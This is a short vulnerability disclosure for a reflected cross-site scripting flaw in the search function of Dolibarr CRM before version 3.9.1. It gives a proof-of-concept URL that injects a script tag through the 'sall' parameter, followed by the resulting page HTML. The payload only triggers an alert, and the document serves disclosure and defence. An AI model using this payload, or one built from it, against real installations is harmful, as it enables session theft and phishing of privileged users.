Dolibarr CRM Cross Site Scripting

`# Exploit Title: Dolibarr CRM < 3.9.1 - Reflective XSS Vulnerability  
# Exploit Author: David Silveiro   
# Exploit Author Github: github.com/davidsilveiro  
# Exploit Author Twitter: twitter.com/david_silveiro   
# Vendor Homepage: https://www.dolibarr.org  
# Software Link: https://sourceforge.net/projects/dolibarr/files/  
# Date: Zero Day  
  
  
Dolibarr ERP is a modern CRM to manage your company.It's opensource software,   
designed for small and medium companies, foundations and freelancers.  
  
The issue lyes with insufficient sanitization when a user makes use of the search  
function provided, and thus able to inject malicious JS to be used inhand with  
a phishing attack direct towards higher previliged user.  
  
POC:  
  
http://127.0.0.1/societe/list.php?sall=<script>alert()<%2Fscript>  
  
<form name="formfilter" action="/societe/list.php" method="post">  
<input type="hidden" value="4a7a89e8a1f2f1fa55a6420ecb115954" name="token"></input>  
<input id="formfilteraction" type="hidden" value="list" name="formfilteraction"></input>  
<input type="hidden" value="s.nom" name="sortfield"></input>  
<input type="hidden" value="ASC" name="sortorder"></input>  
  
Search criteria '  
  
<strong>  
<script>  
  
alert() <-------  
  
</script>  
</strong>  
  
' into fields Third party name, Alias name, Custom…  
  
<table class="liste "></table>  
</form>  
  
  
`